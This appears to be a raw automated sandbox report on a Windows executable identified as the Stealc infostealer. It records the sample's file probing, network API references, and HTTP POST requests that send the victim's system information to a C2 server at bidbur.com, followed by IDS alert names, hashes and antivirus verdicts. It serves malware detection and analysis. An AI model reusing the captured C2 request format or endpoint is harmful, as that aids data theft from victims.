"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\PROPSYS.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\PROPSYS.dll" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\BCRYPT.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\WININET.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\RSTRTMGR.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\NCRYPT.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\NTASN1.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\IERTUTIL.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\URLMON.DLL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINNLSRES.DLL"36:Td29,"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\9BE331F1059D8F7F371F8CF02D8B5DB37FFEC33E259B7D25B9902EEF45A8461B.EXE.LOCAL" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\9BE331F1059D8F7F371F8CF02D8B5DB37FFEC33E259B7D25B9902EEF45A8461B.ENU" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.ENU" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\9BE331F1059D8F7F371F8CF02D8B5DB37FFEC33E259B7D25B9902EEF45A8461B.EN" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.EN" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\UXTHEME.DLL.CONFIG" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe.Local\" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\TTTTTTTTTTTTTT" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\tttttttttttttt" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\TTTTTTTTTTTTTT" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\WINDOWS\system32\tttttttttttttt" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System\TTTTTTTTTTTTTT" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\WINDOWS\System\tttttttttttttt" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\TTTTTTTTTTTTTT" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\WINDOWS\tttttttttttttt" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\ProgramData\Oracle\Java\javapath_target_114250\TTTTTTTTTTTTTT" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath\tttttttttttttt" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\wbem\TTTTTTTTTTTTTT" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "C:\WINDOWS\System32\Wbem\tttttttttttttt" "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\WindowsPowerShell\v1.0\TTTTTTTTTTTTTT"37:T458,Found reference to API "WSARecv" (Indicator: "WSARecv"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSARecvDisconnect" (Indicator: "WSARecv"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSASend" (Indicator: "WSASend"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSASendDisconnect" (Indicator: "WSASend"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSASendTo" (Indicator: "WSASend"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSARecvEx" (Indicator: "WSARecv"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe")38:Tb6f,Found reference to API "WSARecv" (Indicator: "WSARecv"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSARecvDisconnect" (Indicator: "WSARecv"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSASend" (Indicator: "WSASend"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSASendDisconnect" (Indicator: "WSASend"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSASendTo" (Indicator: "WSASend"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSARecvEx" (Indicator: "WSARecv"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00004348-00000C26-57974489") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00004348-00000C26-57974578") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00004348-00000C26-57974742") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00004348-00000C26-57974824") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00004348-00000C26-57974906") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004348-00000C26-57974989") Found reference to API "58293888109,7412,3204,,InternetReadFile,Wininet.dll,"00:17:55.187",RX=0,PX=0" (Indicator: "InternetReadFile"; Source: "00000000-00004348.00000001.69491.025D0000.00000004.mdmp, 00000000-00004348.00000002.71409.025D0000.00000004.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00004348.00000002.71409.025C0000.00000004.mdmp")39:T19bf,Found string "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: bidbur.comContent-Length: 214Connection: Keep-AliveCache-Control: no-cache------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="hwid"A068533DF54E758809014------JEGHJDGIJECGDHJJECGHContent-Disposition: form-data; name="build"default1------JEGHJDGIJECGDHJJECGH--"; File: "PCAP") Found string "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDBFBGIDHCAAKEBAKFIHost: bidbur.comContent-Length: 462Connection: Keep-AliveCache-Control: no-cache------CGDBFBGIDHCAAKEBAKFIContent-Disposition: form-data; name="token"404 Not Found

Not Found

The requested URL was not found on this server.

Apache/2.4.41 (Ubuntu) Server at 89.23.108.233 Port 80

------CGDBFBGIDHCAAKEBAKFIContent-Disposition: form-data; name="message"browsers------CGDBFBGIDHCAAKEBAKFI--"; File: "PCAP") Found string "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBAHost: bidbur.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cache------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="token"404 Not Found

Not Found

The requested URL was not found on this server.

Apache/2.4.41 (Ubuntu) Server at 89.23.108.233 Port 80

------FHJDAAEGIDHDGCAAFCBAContent-Disposition: form-data; name="message"plugins------FHJDAAEGIDHDGCAAFCBA--"; File: "PCAP") Found string "POST /b5c586aec2e1004c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: bidbur.comContent-Length: 3773Connection: Keep-AliveCache-Control: no-cache------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="token"404 Not Found

Not Found

The requested URL was not found on this server.

Apache/2.4.41 (Ubuntu) Server at 89.23.108.233 Port 80

Not Found

The requested URL was not found on this server.

Apache/2.4.41 (Ubuntu) Server at 89.23.108.233 Port 80

------CGDBFBGIDHCAAKEBAKFI Content-Disposition: form-data; name="message" browsers ------CGDBFBGIDHCAAKEBAKFI--" HTTP/1.1 200 OK Server: nginx Date: Mon 30 Oct 2023 02:12:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1792 Connection: keep-alive Vary: Accept-Encoding with response body ==>523239765A32786C49454E6F636D39745A587863523239765A32786C58454E6F636D39745A567856633256794945526864474638593268796232316C66474E6F....... "POST /b5c586aec2e1004c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDAAEGIDHDGCAAFCBA Host: bidbur.com Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------FHJDAAEGIDHDGCAAFCBA Content-Disposition: form-data; name="token" 404 Not Found

Not Found

The requested URL was not found on this server.

Apache/2.4.41 (Ubuntu) Server at 89.23.108.233 Port 80

------FHJDAAEGIDHDGCAAFCBA Content-Disposition: form-data; name="message" plugins ------FHJDAAEGIDHDGCAAFCBA--" HTTP/1.1 200 OK Server: nginx Date: Mon 30 Oct 2023 02:12:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5056 Connection: keep-alive Vary: Accept-Encoding with response body ==>5457563059553168633274385A47706A62474E72613264735A574E6F623239696247356E5A32686B615735745A57567461324A6E59326C384D58777766444238....... "POST /b5c586aec2e1004c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHD Host: bidbur.com Content-Length: 3773 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------BFIDGDAKFHIEHJKFHDHD Content-Disposition: form-data; name="token" 404 Not Found

Not Found

The requested URL was not found on this server.

Apache/2.4.41 (Ubuntu) Server at 89.23.108.233 Port 80

------BFIDGDAKFHIEHJKFHDHD Content-Disposition: form-data; name="file_name" c3lzdGVtX2luZm8udHh0 ------BFIDGDAKFHIEHJKFHDHD Content-Disposition: form-data; name="file" Ck5ldHdvcmsgSW5mbzoKCS0gSVA6IElQPwoJLSBDb3VudHJ5OiBJU08/CgpTeXN0ZW0gU3VtbWFyeToKCS0gSFdJRDogQTA2ODUzM0RGNTRFNzU4ODA5MDE0CgktIE9TOiBXaW5kb3dzIDEwIFBybwoJLSBBcmNoaXRlY3R1cmU6IHg2NAoJLSBVc2VyTmFtZTogNFdQVmZuOAoJLSBDb21wdXRlciBOYW1lOiBnZUVocEFoODNFSE9VR1oKCS0gTG9jYWwgVGltZTogMjAyMy8xMC8yOSAxOToxMjo0MwoJLSBVVEM6IC04CgktIExhbmd1YWdlOiBlbi1VUwoJLSBLZXlib2FyZHM6IEVuZ2xpc2ggKFVuaXRlZCBTdGF0ZXMpCgktIExhcHRvcDogRkFMU0UKCS0gUnVubmluZyBQYXRoOiBDOlw5YmUzMzFmMTA1OWQ4ZjdmMzcxZjhjZjAyZDhiNWRiMzdmZmVjMzNlMjU5YjdkMjViOTkwMmVlZjQ1YTg0NjFiLmV4ZQoJLSBDUFU6IEludGVsKFIpIENvcmUoUikgR29sZCA2MjQwUiBDUFUgQCAyLjQwR0h6CgktIENvcmVzOiAyCgktIFRocmVhZHM6IDIKCS0gUkFNOiA0MDk1IE1CCgktIERpc3BsYXkgUmVzb2x1dGlvbjogMTI4MHgxMDI0CgktIEdQVToKCQktVmlydHVhbEJveCBHcmFwaGljcyBBZGFwdGVyIChXRERNKQpVc2VyIEFnZW50czoKSW5zdGFsbGVkIEFwcHM6CkFsbCBVc2VyczoKCUFkb2JlIEZsYXNoIFBsYXllciAzMiBOUEFQSSAtIDMyLjAuMC4xMDEKCUF1dG9JdCB2My4zLjE0LjMgLSAzLjMuMTQuMwoJTWljcm9zb2Z0IEVkZ2UgLSAxMDcuMC4xNDE4LjU2CglNaWNyb3NvZnQgRWRnZSBVcGRhdGUgLSAxLjMuMTcxLjM3CglOcGNhcCAtIDEuNzEKQ3VycmVudCBVc2VyOgoJUHl0aG9uIDMuMTEuMCAoNjQtYml0KSAtIDMuMTEuMTUwLjAKClByb2Nlc3MgTGlzdDoKCVN5c3RlbQoJc21zcy5leGUKCWNzcnNzLmV4ZQoJd2luaW5pdC5leGUKCWNzcnNzLmV4ZQoJd2lubG9nb24uZXhlCglzZXJ2aWNlcy5leGUKCWxzYXNzLmV4ZQoJZm9udGRydmhvc3QuZXhlCglmb250ZHJ2aG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglkd20uZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJVkJveFNlcnZpY2UuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJTWVtb3J5IENvbXByZXNzaW9uCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJV21pUHJ2U0UuZXhlCglzdmNob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCXNpaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJdGFza2hvc3R3LmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCgljdGZtb24uZXhlCglleHBsb3Jlci5leGUKCXN2Y2hvc3QuZXhlCglzdmNob3N0LmV4ZQoJU2hlbGxFeHBlcmllbmNlSG9zdC5leGUKCVNlYXJjaFVJLmV4ZQoJUnVudGltZUJyb2tlci5leGUKCVJ1bnRpbWVCcm9rZXIuZXhlCglSdW50aW1lQnJva2VyLmV4ZQoJc3ZjaG9zdC5leGUKCVJ1bnRpbWVCcm9rZXIuZXhlCglSdW50aW1lQnJva2VyLmV4ZQoJc3ZjaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglPTkVOT1RFTS5FWEUKCVZCb3hTZXJ2aWNlLmV4ZQoJY29uaG9zdC5leGUKCUF1dG9JdDNfeDY0LmV4ZQoJc3ZjaG9zdC5leGUKCXRzaGFyay5leGUKCWNvbmhvc3QuZXhlCglWeEtlcm5lbFN2Y05UTWdyLmV4ZQoJc3ZjaG9zdC5leGUKCWR1bXBjYXAuZXhlCgljb25ob3N0LmV4ZQoJc3ZjaG9zdC5leGUKCVRydXN0ZWRJbnN0YWxsZXIuZXhlCglUaVdvcmtlci5leGUKCUF1dG9JdDNfeDY0LmV4ZQoJQXV0b0l0M194NjQuZXhlCglBdXRvSXQzX3g2NC5leGUKCUF1dG9JdDNfeDY0LmV4ZQoJQXV0b0l0M194NjQuZXhlCglBdXRvSXQzX3g2NC5leGUKCW1pdG1kdW1wLmV4ZQoJY29uaG9zdC5leGUKCXN2Y2hvc3QuZXhlCglkbGxob3N0LmV4ZQoJOWJlMzMxZjEwNTlkOGY3ZjM3MWY4Y2YwMmQ4YjVkYjM3ZmZlYzMzZTI1OWI3ZDI1Yjk5MDJlZWY0NWE4NDYxYi5leGU= ------BFIDGDAKFHIEHJKFHDHD--" HTTP/1.1 200 OK Server: nginx Date: Mon 30 Oct 2023 02:12:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive with response body ==>.......42:T486,Detected alert "ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in" (SID: 2044243, Rev: 1, Severity: 1) categorized as "Malware Command and Control Activity Detected" (PUA/PUP/Adware) Detected alert "ET MALWARE Win32/Stealc Requesting browsers Config from C2" (SID: 2044244, Rev: 1, Severity: 1) categorized as "Malware Command and Control Activity Detected" (PUA/PUP/Adware) Detected alert "ET MALWARE Win32/Stealc Active C2 Responding with browsers Config" (SID: 2044245, Rev: 1, Severity: 1) categorized as "Malware Command and Control Activity Detected" (PUA/PUP/Adware) Detected alert "ET MALWARE Win32/Stealc Requesting plugins Config from C2" (SID: 2044246, Rev: 1, Severity: 1) categorized as "Malware Command and Control Activity Detected" (PUA/PUP/Adware) Detected alert "ET MALWARE Win32/Stealc Active C2 Responding with plugins Config" (SID: 2044247, Rev: 1, Severity: 1) categorized as "Malware Command and Control Activity Detected" (PUA/PUP/Adware) Detected alert "ET MALWARE Win32/Stealc Submitting System Information to C2" (SID: 2044248, Rev: 1, Severity: 1) categorized as "Malware Command and Control Activity Detected" (PUA/PUP/Adware)43:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8ACzERERERERAAAAAAAAAAAAu7MzMzMzEQAAAAAAAAAAAIiIszMzMzEAAAAAAAAAAAADMzMzMzEQAAAAAAAAAAAACIiIi7u7EAAAAAAAAAAAAAADMzMzMxAARERAAAAAAAAACLu7OxAARGdnZEAAAAAAAAi7uzMQBHZ2dmdkAAAAAAAIiLszECJnZ2Z2dkAAAAAAALu7MxAnd3Z2J2dAAAAAAAC7uzMXd3d3IiZ2ZAAAAAAAiIuzF3d3dyInZ2QAAAAAAAu7szGHdyIiJnZkAAAAAAALu7Mxh3ciIiJmZAAAAAAACIi7MYd3cidyIiQAAAAAAACLuzMY93ciciIkAAAAAAAAi7szGH93ciIiQAAAAAAAAIiLsxcndyIvsEAAAAAAAAALu7MxcndyIvsAAAAAAAAACIizMXInd3JLsAAAAAAAAACIuzEAIiIgALsAAAAAAAAAiLszEAAAAAALsAAAAAAAAAiLsxAAAAAAu7sAAAAAAAAIi7MxAAAAu7u7twAAAAAAALuzMxAAALu7sAALMzMzMzO7szMQAAALu7AAC7MzMzMzO7szMAAAC7u7AAu7MzMzO7u7szAAAAC7u7AIu7u7u7u4i7swAAAAC7u7iLiIiIiIiIi7MAAAAAu7uwiIiIiIiIiIi7AAAAAAu7AAAAAAAAAAAAAAAAAAAAsACAAf//gAH//4AB///AA///wAP///ADg//wDgD/8AwAf/AIAD/4CAA/+AAAH/gAAB/8AAAf/AAAH/wAAB/+AAAf/gAAP/4AAD//AAA//wAAH/+Bg4//gP/H/8D8A//AfgH/4D4PAAA/BwAAPwMAAD+BAAA/wAAAP8EAAD/j////9w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791135028501,"unified_at":"2026-10-04T17:30:28.501Z","metadata":{"hashes":{"sha256":"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b","sha1":"c3d26e8c337515e13c9cf33e0ebd387b17df7838","md5":"6520ebb48dc3ed5025c52f35cfcf49dd","sha512":"c0ad010787dfd9aa3979335cca94853c3c849a3f04bf8039d712a9add789458e2e8558537136488819adba3f18fbe91b5096f04249add90961e5a11b53ebc517","ssdeep":"12288:JHQ4R78rGcukgmWRjAeQVqtoCldl4Dol9:1HhZcw95jSCloDg9","ssdeep_chunks":["12288:JHQ4R78","12288:HQ4R78r","12288:Q4R78rG","12288:4R78rGc","12288:R78rGcu","12288:78rGcuk","12288:8rGcukg","12288:rGcukgm","12288:GcukgmW","12288:cukgmWR","12288:ukgmWRj","12288:kgmWRjA","12288:gmWRjAe","12288:mWRjAeQ","12288:WRjAeQV","12288:RjAeQVq","12288:jAeQVqt","12288:AeQVqto","12288:eQVqtoC","12288:QVqtoCl","12288:VqtoCld","12288:qtoCldl","12288:toCldl4","12288:oCldl4D","12288:Cldl4Do","12288:ldl4Dol","12288:dl4Dol9","24576:JHQ4R78","24576:HQ4R78r","24576:Q4R78rG","24576:4R78rGc","24576:R78rGcu","24576:78rGcuk","24576:8rGcukg","24576:rGcukgm","24576:GcukgmW","24576:cukgmWR","24576:ukgmWRj","24576:kgmWRjA","24576:gmWRjAe","24576:mWRjAeQ","24576:WRjAeQV","24576:RjAeQVq","24576:jAeQVqt","24576:AeQVqto","24576:eQVqtoC","24576:QVqtoCl","24576:VqtoCld","24576:qtoCldl","24576:toCldl4","24576:oCldl4D","24576:Cldl4Do","24576:ldl4Dol","24576:dl4Dol9","12288:1HhZcw9","12288:HhZcw95","12288:hZcw95j","12288:Zcw95jS","12288:cw95jSC","12288:w95jSCl","12288:95jSClo","12288:5jSCloD","12288:jSCloDg","12288:SCloDg9"],"imphash":"63dcf426cf592d540da4a68f9741991e"},"file_info":{"file_name":"6520ebb48dc3ed5025c52f35cfcf49dd.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":657784,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1698629706000,"last_seen":1698631788000,"last_multi_scan":1698631788000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["infostealer"]},"stats":{"av":{"malicious_count":6,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":58},"sandbox_signatures":{"informative_count":147,"suspicious_count":11,"malicious_count":4,"total":162},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Tedy.474588","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Tedy.474588 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE